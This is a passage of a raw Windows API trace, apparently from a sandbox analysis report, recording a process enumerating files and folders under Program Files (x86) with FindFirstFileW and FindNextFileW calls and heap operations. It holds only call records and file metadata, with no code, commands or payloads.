ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x3c74bc00, ftLastWriteTime.dwHighDateTime=0x1d29fa1, nFileSizeHigh=0x0, nFileSizeLow=0x6a800, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnssci.dll", cAlternateFileName="")) returned 1 [0268.316] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa43ac3a6, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x1a2f6e00, ftLastWriteTime.dwHighDateTime=0x1d29fa2, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMPNSSUI.dll", cAlternateFileName="")) returned 1 [0268.316] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa41962a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x30d5c500, ftLastWriteTime.dwHighDateTime=0x1d29fa2, nFileSizeHigh=0x0, nFileSizeLow=0x10e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmprph.exe", cAlternateFileName="")) returned 1 [0268.316] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa435feea, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x49de7600, ftLastWriteTime.dwHighDateTime=0x1d29fa2, nFileSizeHigh=0x0, nFileSizeLow=0x19800, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpshare.exe", cAlternateFileName="")) returned 1 [0268.317] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa435feea, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x49de7600, ftLastWriteTime.dwHighDateTime=0x1d29fa2, nFileSizeHigh=0x0, nFileSizeLow=0x19800, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpshare.exe", cAlternateFileName="")) returned 0 [0268.317] FindClose (in: hFindFile=0x33e4e68 | out: hFindFile=0x33e4e68) returned 1 [0268.317] GetProcessHeap () returned 0xc10000 [0268.317] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c1f98 | out: hHeap=0xc10000) returned 1 [0268.317] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe8dcea96, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8dcea96, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Windows Multimedia Platform", cAlternateFileName="WINDOW~3")) returned 1 [0268.317] GetProcessHeap () returned 0xc10000 [0268.317] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c1f98 [0268.317] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Multimedia Platform\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe8dcea96, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8dcea96, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48a8 [0268.317] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe8dcea96, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8dcea96, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.317] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5928e920, ftCreationTime.dwHighDateTime=0x1d56e75, ftLastAccessTime.dwLowDateTime=0x557def50, ftLastAccessTime.dwHighDateTime=0x1d56dc1, ftLastWriteTime.dwLowDateTime=0x557def50, ftLastWriteTime.dwHighDateTime=0x1d56dc1, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="edcsvr.exe", cAlternateFileName="")) returned 1 [0268.317] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb398bc0, ftCreationTime.dwHighDateTime=0x1d5afc0, ftLastAccessTime.dwLowDateTime=0x228620f0, ftLastAccessTime.dwHighDateTime=0x1d5de3b, ftLastWriteTime.dwLowDateTime=0x228620f0, ftLastWriteTime.dwHighDateTime=0x1d5de3b, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="far.exe", cAlternateFileName="")) returned 1 [0268.318] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x954773d8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x954773d8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x954773d8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa7d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0268.318] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x613162f0, ftCreationTime.dwHighDateTime=0x1d59ff8, ftLastAccessTime.dwLowDateTime=0x6713d010, ftLastAccessTime.dwHighDateTime=0x1d57dd7, ftLastWriteTime.dwLowDateTime=0x6713d010, ftLastWriteTime.dwHighDateTime=0x1d57dd7, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wanted.exe", cAlternateFileName="")) returned 1 [0268.318] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x613162f0, ftCreationTime.dwHighDateTime=0x1d59ff8, ftLastAccessTime.dwLowDateTime=0x6713d010, ftLastAccessTime.dwHighDateTime=0x1d57dd7, ftLastWriteTime.dwLowDateTime=0x6713d010, ftLastWriteTime.dwHighDateTime=0x1d57dd7, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wanted.exe", cAlternateFileName="")) returned 0 [0268.318] FindClose (in: hFindFile=0x33e48a8 | out: hFindFile=0x33e48a8) returned 1 [0268.318] GetProcessHeap () returned 0xc10000 [0268.318] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c1f98 | out: hHeap=0xc10000) returned 1 [0268.318] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc584957, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c22b6b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Windows NT", cAlternateFileName="WINDOW~4")) returned 1 [0268.318] GetProcessHeap () returned 0xc10000 [0268.318] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c1f98 [0268.318] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows NT\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc584957, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c22b6b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0268.319] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc584957, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c22b6b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.320] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc5858e7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7129af65, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessories", cAlternateFileName="ACCESS~1")) returned 1 [0268.320] GetProcessHeap () returned 0xc10000 [0268.320] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0268.320] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows NT\\Accessories\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc5858e7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7129af65, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0268.320] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc5858e7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7129af65, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.320] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc58631c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0268.320] GetProcessHeap () returned 0xc10000 [0268.320] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0268.321] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows NT\\Accessories\\en-US\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc58631c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e28 [0268.322] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc58631c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.322] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41bacb92, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d06fb4c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x6d0a2500, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x0, dwReserved1=0x0, cFileName="wordpad.exe.mui", cAlternateFileName="")) returned 1 [0268.322] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41bacb92, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d06fb4c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x6d0a2500, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x0, dwReserved1=0x0, cFileName="wordpad.exe.mui", cAlternateFileName="")) returned 0 [0268.322] FindClose (in: hFindFile=0x33e4e28 | out: hFindFile=0x33e4e28) returned 1 [0268.322] GetProcessHeap () returned 0xc10000 [0268.322] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0268.652] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x480bd806, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xdc94812c, ftLastAccessTime.dwHighDateTime=0x1d2fa0c, ftLastWriteTime.dwLowDateTime=0x480bd806, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x417c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wordpad.exe", cAlternateFileName="")) returned 1 [0268.652] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76410ee5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x76410ee5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x76410ee5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x25200, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordpadFilter.dll", cAlternateFileName="")) returned 1 [0268.652] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76410ee5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x76410ee5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x76410ee5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x25200, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordpadFilter.dll", cAlternateFileName="")) returned 0 [0268.652] FindClose (in: hFindFile=0x33e4ca8 | out: hFindFile=0x33e4ca8) returned 1 [0268.652] GetProcessHeap () returned 0xc10000 [0268.652] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0268.653] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc5e3ac7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService", cAlternateFileName="TABLET~1")) returned 1 [0268.654] GetProcessHeap () returned 0xc10000 [0268.654] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0268.654] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows NT\\TableTextService\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc5e3ac7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e68 [0268.657] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc5e3ac7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.657] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc5e4b51, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0268.657] GetProcessHeap () returned 0xc10000 [0268.657] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0268.657] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows NT\\TableTextService\\en-US\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc5e4b51, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0268.659] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc5e4b51, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.659] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41a5565b, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d06fb4c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x2d910800, ftLastWriteTime.dwHighDateTime=0x1d29fa7, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService.dll.mui", cAlternateFileName="")) returned 1 [0268.659] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41a5565b, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d06fb4c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x2d910800, ftLastWriteTime.dwHighDateTime=0x1d29fa7, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService.dll.mui", cAlternateFileName="")) returned 0 [0268.659] FindClose (in: hFindFile=0x33e4de8 | out: hFindFile=0x33e4de8) returned 1 [0268.660] GetProcessHeap () returned 0xc10000 [0268.660] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0268.660] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x776fe01f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x776fe01f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x776fe01f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x97a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService.dll", cAlternateFileName="")) returned 1 [0268.660] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x776b1b4c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x776b1b4c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x776b1b4c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x376a, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextServiceAmharic.txt", cAlternateFileName="")) returned 1 [0268.660] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x776fe01f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x776fe01f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x776fe01f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x136c70, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextServiceArray.txt", cAlternateFileName="")) returned 1 [0268.660] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x775f2f48, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x775f2f48, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x775f2f48, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xef500, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextServiceDaYi.txt", cAlternateFileName="")) returned 1 [0268.660] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x776b1b4c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x776b1b4c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x776b1b4c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3776, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextServiceTigrinya.txt", cAlternateFileName="")) returned 1 [0268.660] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x775ccce1, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x775ccce1, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x775ccce1, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb072, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextServiceYi.txt", cAlternateFileName="")) returned 1 [0268.660] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x775ccce1, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x775ccce1, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x775ccce1, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb072, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextServiceYi.txt", cAlternateFileName="")) returned 0 [0268.661] FindClose (in: hFindFile=0x33e4e68 | out: hFindFile=0x33e4e68) returned 1 [0268.661] GetProcessHeap () returned 0xc10000 [0268.661] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0268.662] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, 